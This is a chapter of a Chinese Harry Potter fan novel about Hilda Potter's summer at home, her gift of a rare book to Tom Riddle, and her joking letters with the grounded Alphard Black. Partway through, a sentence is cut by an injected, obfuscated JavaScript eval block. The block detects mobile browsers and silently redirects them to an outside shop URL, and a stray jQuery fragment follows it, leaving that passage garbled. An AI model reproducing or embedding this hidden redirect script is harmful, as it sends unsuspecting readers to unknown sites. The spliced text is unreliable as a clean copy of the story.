123读书网 > 都市小说 > [HP]希尔达·波特的生平与谎言 > 23.第21章 暑假日常
    烛光将波特家在戈德里克山谷的住所映照得温馨而明亮。


    家庭聚餐的长桌摆在露台上,长桌摆满了美食,空气中弥漫着烤鸡、肉汤和新鲜面包的香气。


    希尔达被家人簇拥在中间,感觉像泡在温暖的黄油啤酒里一样舒服。


    家里的狗狗杰特趴在她脚边的地毯上,像一团黑绒球,但两只耳朵却竖得笔直。


    弗利蒙推了推眼镜,脸上带着调侃的笑意。他刚刚听完希尔达的学院杯冒险故事精简版。


    “所以我们的小妹妹,不仅用知识为格兰芬多赢得了五十分,还差点用她的……嗯,‘物理说服技巧’,提前给斯莱特林扣掉了三十分?”


    他一边说着,一边顺手给坐在身旁的妻子尤菲米娅夹了一块她最喜欢的馅饼。


    “弗利蒙!”希尔达假装生气地瞪了他一眼,脸颊因为兴奋和炉火显得红扑扑的,“那是马尔福他活该!他侮辱了艾拉!”


    “噢!我们英勇的复仇女神!”查莱斯立刻声援。


    他比弗利蒙活泼得多,即使结婚后也难掩那份跳脱。


    只见他挥舞着叉子,仿佛那是他的魔杖:“干得漂亮!要我说,一拳都便宜他了,下次应该试试我独创的‘痒痒咒’,保准让他当众跳起踢踏舞!”


    多瑞娅在一旁无奈地摇头,嘴角却带着纵容的微笑。


    弗利蒙清了清嗓子,试图把话题拉回“正轨”。


    “抛开‘物理说服技巧’不谈,那个学习互助联盟的主意确实非常出色,希尔达。整合资源,满足不同需求,甚至打出了‘邓布利多顾问’这张王牌——这商业嗅觉,比我公司里的一些新人都要强。”


    他的语气带着一家之主的正经和属于商人的务实。


    他顿了顿,眼中流露出几分赞赏:“要不是你还得上学,我真想请你来给我们公司的市场部出出主意,我们的洗发水正愁怎么打开更多家庭市场呢。”


    “得了吧,弗利蒙,”查莱斯嬉笑着打断,“你可别想把我们的小勇士拐去研究怎么让泡泡更蓬松。她的战场在魁地奇球场和……”他压低声音,做了个鬼脸,“斯莱特林们的鼻梁前。”


    话音刚落,大家都笑了起来。


    希尔达笑得最大声,还小小地做了个挥拳的动作。


    桌底下的杰特“汪”了一声,顺着笑声轻轻晃了一下尾巴尖。


    一直微笑着在看孩子们嬉闹的亨利·波特先生拍了拍手:“好了好了,无论如何,我们的希尔达都是最棒的。六个‘O’!我敢说,今天晚上你们的祖父在梅林那儿都要激动地多喝两杯!”


    亨利先生慈爱地看着女儿,随即又轻轻叹了口气,目光掠过窗外沉沉的夜色。


    “要不是外面又是麻瓜的战争,又是格林德沃那个疯子在到处煽风点火,这个假期我真想带你去欧洲看看。威尼斯的水巷、维也纳的音乐厅……我年轻时可都跑遍了,那才叫见识世界。”


    父亲话语中流露出的对往昔和平的怀念与对当下时局的忧虑,像一阵阴郁的凉风拂过希尔达的心头,但很快又被眼前的幸福和热闹所驱散。


    沙发的另一侧,尤菲米娅正在和赫斯提亚·波特夫人聊天,探讨织毛衣的技巧。她手里拿着织了一半的小号红色毛衣。


    “趁着现在有空,各种纹样我都可以先练习起来。反正总有一天会用上的,对吧?”她笑着看向弗利蒙,后者回以一个温暖而默契的眼神。


    多瑞娅好奇地问道:“听说你们已经想好了未来的孩子叫什么名字?”


    “嗯,男孩就叫詹姆斯,女孩就叫索菲亚。”


    …………


    听着家人们七嘴八舌的谈话,希尔达靠在柔软的扶手椅里,感觉一学年里所有的疲惫、委屈、挫折,全都在这一刻被家庭的温暖彻底融化。


    这就是她的港湾,是她所有勇气和力量的来源。


    ***********


    与波特家的温馨形成鲜明对比的,是对角巷破釜酒吧二楼,一间狭小、整洁却孤寂的屋子。


    汤姆·里德尔厌恶地看了一眼窗外巷道里星星点点的灯火。


    他宁愿忍受这里的拥挤,也绝不回到那个肮脏、充满劣等气息的伍氏孤儿院。霍格沃茨是他的家,唯一配得上他的家。


    这个暑假他并没有虚度。


    这些天,他凭借超群的记忆力和对魔法的深刻理解,通过为翻倒巷的商人破译几份危险的古代如尼文手稿,换取了不少金加隆。这比打工体面得多。


    同时,他也收到了诺特和艾弗里家族的邀请,过几日将去拜访——这是他渗透纯血圈子计划的一步棋。


    这时,一只陌生的猫头鹰为他带来了一封信和一份礼物。


    他随意拆开,快速浏览。


    【亲爱的汤姆:


    希望你在对角巷的暑假一切顺利。


    再次感谢你之前在图书馆给予的建议,以及后续提供的学习资料。互助联盟能成功,离不开你的帮助。


    清理书架时,我发现了这本我祖父的旧藏——《古代魔法研究:意志与物质的共鸣》。


    里面的内容颇为深奥,大多超出了我的理解范围,但我立刻想到了你。


    我想,或许只有像你这样对魔法本源充满探索欲的人,才能真正发掘它的价值。


    希望它对你而言能有些许用处。


    祝你暑假愉快。


    你真诚的,


    希尔达·波特】


    随信附赠的礼物是一个扁平的、用深蓝色包装纸仔细包裹的盒子。


    里德尔拆开盒子,看到里面是一本皮革封面、边缘有些磨损但保存完好的旧书。


    他打开书粗略看了几页,立刻意识到这份礼物的价值。


    这本书探讨的是魔法力量的来源,关于巫师意志如何更高效、更精妙地影响现实,涉及精神力锤炼、无声咒的技巧,甚至是一些关于古老血脉魔法的考据。


    它稀有且深奥,一看就不是普通学生能接触到的珍贵藏书。


    里德尔的眼中闪过难以掩饰的惊讶与贪婪。


    这份礼物,远比一堆昂贵的糖果或华而不实的装饰品更能打动他。


    它切中了他对知识和力量的渴求,并且还暗示了赠送者同样不凡的见识和家族底蕴。


    他修长的手指轻轻抚过书的封面。


    她竟然懂得送这个……


    希尔达,你果然和那些庸碌的蠢货不同。他想道。


    里德尔提起笔,以优美的字迹在羊皮纸上写下回信。


    【亲爱的希尔达:


    感谢你的来信与那份过于慷慨的礼物。


    这的确是一本非凡的著作,其中关于意志干涉物质形态的论述,与现今主流的魔咒学体系大相径庭,提供了新的视角。你的眼光非常独到。


    对角巷的生活虽远不及霍格沃茨,但足以让我进行一些不受干扰的研究。你送的这份礼物,无疑为我的研究提供了极佳的素材。


    期待在开学后,继续我们之间富有成效的讨论。


    你忠实的,


    汤姆·里德尔】


    ***********


    与此同时,格里莫广场12号的气氛如同墓室般压抑。


    阿尔法德·布莱克被关了禁闭。两个月的暑假,他只能在自己的卧室和图书室里度过。


    父母对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649164|187957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他“玷污布莱克声誉”却“不知悔改”的行为很是生气,切断了他与外界的大部分联系,连猫头鹰都被严密监控。


    不过,古老的布莱克老宅总有一些漏洞。一个忠诚的家养小精灵提供了帮助,让他得以与希尔达取得联系。


    【阿尔法德:


    随信附上我搜罗到的好东西,一张1941年魁地奇世界杯决赛蒙特罗斯喜鹊队夺冠的官方纪念明信片。上面还有找球手“闪电”迈克菲的签名!(虽然是复制咒印上去的)


    希望它能让你的房间亮堂一点。


    另外,那盒“变色泡泡糖”务必谨慎食用。除非你想体验一分钟当一只忧郁的蓝舌树蛙是什么感觉。


    我试过了,效果惊人,连埃米莉都被我吓了一跳。


    家里一切都好,就是有点太安静了。真希望快点开学。


    保持呼吸。


    ——H.P.】


    看着这封信和随信附赠的小礼物,阿尔法德苍白的面容上不由浮现出笑容。


    他仿佛能透过信纸,看到那个鲜活的少女正对着他狡黠地眨眼睛。


    这间死气沉沉的房间,似乎真的变亮堂了很多。


    **********


    希尔达正坐在餐桌前,困倦地吃早饭。


    这几天埃米莉来她家玩,每天兴奋地和她聊天到深夜,以至于此刻正在她旁边打瞌睡。


    猫头鹰送来阿尔法德的回信时,希尔达正把一块面包塞进嘴里。


    他的回信很短,字迹工整而克制。


    【希尔达:


    明信片收到了。蒙特罗斯喜鹊队的阵型切换堪称典范。谢谢你。


    糖,我也试了。沃尔布加推门进来时,我还没来得及变回去。她脸上的表情,我这辈子都不会忘记。


    ——A.B.】


    “噗……”


    希尔达差点被面包呛到,捧着信咯咯直笑。


    她几口啃完面包,便冲回房间写了一封回信。


    【阿尔法德:


    梅林的胡子!你居然真的在沃尔布加面前吃了那颗糖!


    我简直能想象出那个画面——阴森的布莱克老宅里,你顶着一张最严肃的脸,却配了一条亮眼的蓝色舌头!


    希望她没有因此扣掉你下个月的布丁配额。


    为了表彰你的勇气,随信附上最新款的“迷你金色飞贼”巧克力。


    这次它只会让你的牙齿暂时闪烁金光,像穿着燕尾服的嗅嗅一样“优雅”,绝不会再引发家庭危机了。


    怼了,弗利蒙又发明了新型洗发水,非要我先试用。结果我的头发现在蓬松得像被爆炸咒轰过。


    埃米莉说远远看去就像一颗黑色蒲公英。查莱斯笑了十分钟,说要给我注册商标,就叫“波特式爆炸头速成水”。


    真想念学校的魁地奇球场,至少在那里,我的头发只会被风吹乱,而不是被自己哥哥的发明折腾。


    保持呼吸,并且小心你的糖。


    ——H.P.】


    …………


    ………………


    就在希尔达以为这个假期就将在家庭聚会、各种快乐的恶作剧,以及和朋友们互相写信当中度过时,变故发生了。


    这天早上,一只疲惫不堪的猫头鹰,带着一封字迹潦草的信件,跌跌撞撞地落在了她的窗台。


    信封上的笔迹很熟悉,是属于艾拉·安德森的。


    希尔达脸上的笑容消失了,心中泛起一种不祥的预感。


    她迅速拆开信,目光刚扫过第一行,心脏便陡然沉了下去。


    假期所有的轻松与欢愉,在这一刻戛然而止。风暴已悄然而至。